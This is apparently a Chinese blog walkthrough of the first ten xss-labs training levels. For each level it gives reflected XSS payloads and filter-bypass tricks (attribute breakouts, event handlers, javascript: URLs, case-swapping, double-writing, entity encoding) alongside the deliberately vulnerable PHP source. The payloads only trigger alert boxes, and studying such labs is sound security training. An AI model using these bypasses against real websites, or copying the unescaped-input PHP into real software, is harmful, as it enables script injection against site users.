xss-labs

 · 2020-6-25 · 次阅读


0x00背景:XSS玩的太少了,随便玩玩吧。

level1

1

这个很明显了url里面的直接显示在页面中,最简单的反射型XSS:

<script>alert(123)</script>

代码也很简单把get进入的echo。

level2

2

插入进去的script被当做了input里面的value值,尝试闭合:

payload:"><script>alert(123)</script>

这里虽然过去了,还是看一下源代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

这里可以看到str在h2中是被过滤了,但在表单中没有被过滤导致XSS成功。

这个htmlspecialchars函数可以把大于和小于符号转换为HTML实体。

leve3

很好不管怎么都闭合不了猜测这次应该都被过滤了。

考虑绕过htmlspecialchars:

仔细研究哈htmlspecialchars:

htmlspecialchars(string,flags,character-set,double_encode)

其中flags的配置会产生安全性问题:

可选。规定如何处理引号、无效的编码以及使用哪种文档类型。

可用的引号类型:

  • ENT_COMPAT - 默认。仅编码双引号。

  • ENT_QUOTES - 编码双引号和单引号。

  • ENT_NOQUOTES - 不编码任何引号。

    猜测此处为默认,那么就是只编码双引号,那么极有可能需要使用单引号绕过。

使用单引号闭合input结果看源代码变成了:

<input name="keyword" value="" &gt;&lt;script&gt;alert(123)&lt;="" script&gt;'="">

这里<>就变成了实体了。

所以就不使用<>,由于在input框中所以可以换一些触发属性:onclick或者是onmouseover

两个分别是点击触发和鼠标移动触发,这里需要拼接到input中所以payload:

'οnclick='alert(123) 
'onmouseover='alert(123) 
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

可以看到第二个使用了单引号包括默认没有编码导致可以闭合前面的而绕过。

level4

和level3类似使用事件即可,这里看源代码闭合一下双引号即可

payload:" onmouseover="alert(123)

分析下源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

同样的是下面的input只过滤了一个<号这里由于也在input框中所以可以闭合触发鼠标移动事件。

level5

输入level4一样的payload发现在源码中变成了:

<input name="keyword" value="" o_nmouseover="alert(123)&quot;">

这里说明对触发事件进行了过滤。

那么需要换一个payload,尝试href构造

"><a href='alert(123)'>
payload:"><a href='javascript:alert(123)'>

上面的href用于跳转,alert(123)跳转到Url肯定不对所以需要使用javascript协议使得其在跳转前先执行代码。

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以看到对script和on开头的事件都进行了过滤,下面的echo同样str3只过滤了script和on没有再次使用htmlspecailchars导致可以使用>进行闭合。最后换成href成功xss.

先玩5个level以后有空再玩。

Level6

输入最普通的xss后在源代码中发现:

<input name="keyword" value="<scr_ipt>alert(123)</script>">

这个是过滤了script

试试用img,还是不行。

这里就知道过滤规则了:

src->sr_c,on->o_n

这里似乎跟leve5很像,接着使用leve5的payload:

level5:"><a href='javascript:alert(123)'>

很好hr_ef也被过滤了。

这里猜测是否没有过滤完全导致绕过。

比如大小写试试:

"><a hREf='javaSCript:alert(123)'>
其他的普通Payload大小写都可以绕过:
"><Script>alert(123)</Script>

ok这一关就通过了。

接下来看一下源代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

很明显这里还是老问题,第一个str是过滤了的而第二个str6可以使用大小写绕过。

这里我们对str6添加过滤函数,再次尝试。

测试payload:"><a hREf='javaSCript:alert(123)'>
页面中的代码变成了:<input name="keyword" value="&quot;><a hREf='javaSCript:alert(123)'>">

没有过滤str6时候页面源代码是:
    <input name="keyword" value="">
    <a href="javaSCript:alert(123)">"&gt;

也就是说失败是因为前面的value闭合失败双引号被转化为了实体。

同样根据level3我们再次改写代码为

<input name=keyword  value='".htmlspecialchars($str6)."'>

这里结合leve3即可得到payload:'Onmouseover='alert(123)

这里注意下引号包裹问题,单引号在双引号中会解析正常,这里改写的时候由于center采用单引号包裹如果再次再里面使用单引号包裹str6会导致出错不解析为变量。

因而还需要把最外面的center包裹改为双引号才可改写。

level7

使用上面的payload:

payload:'Onmouseover='alert(123)
结果在html中变成了:<input name="keyword" value="" mouseover="alert(123)">

这里把on过滤为了空试试双写能绕过不。

payload:"oonnmouseover="alert(123)

源码分析:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里可以看到的确是像我想的过滤为了空。

level8

进去后发现有个友情链接,发现是把输入的放在了href中,这里试试href的payload:

payload:javaSCript:alert(123)

同样这里Script变成了->scr_ipt

这里大小写绕过就失败了。

尝试onmouseover,依然被过滤了。

试试其他方式绕过吧。第一个想到的是编码。

这里编码就需要理解html标签的解析顺序也就是一个解码的顺序。

尝试unicode编码:

payload:javaSCript:alert(123)
unicode:&#106;&#97;&#118;&#97;&#83;&#67;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#50;&#51;&#41;

成功执行了。这里为什么可以绕过呢?

在第一次进行解析时候还未进行解码导致绕过代码判断,后面真正加载到html代码中才被解析。

level9

这个题试了很多次没有绕过,看一下源代码吧:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

上面的是level8的代码部分,在此基础上level9添加了:

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

也就是在8的基础上需要有http://才行。

这里可以用html注释符//来绕过:

payload:javascrip&#116;:alert(123)//http://www.baidu.com

这里直接把t编码即可。当然如果遇到那种过滤scr那种鸡贼,肯定还是需要全部编码靠谱点。

level10

前面其实很多情况下我们的代码直接看f12都不对,这道题在阅读很多师傅的刷题下才发现应该去network的Response中看回显:

10

可以看到这上面看到了不仅大小号被实体并且中间还有;

上面的代码中也可以看出有三个隐藏的表单,该怎么利用呢?

源代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到只有第三个input可以利用。将用户输入的拼接到了html中导致XSS。这里可以构造一个表单然后触发点击事件执行XSS:

payload:?t_sort=value="'" type = "text" onclick="alert(/xss/)"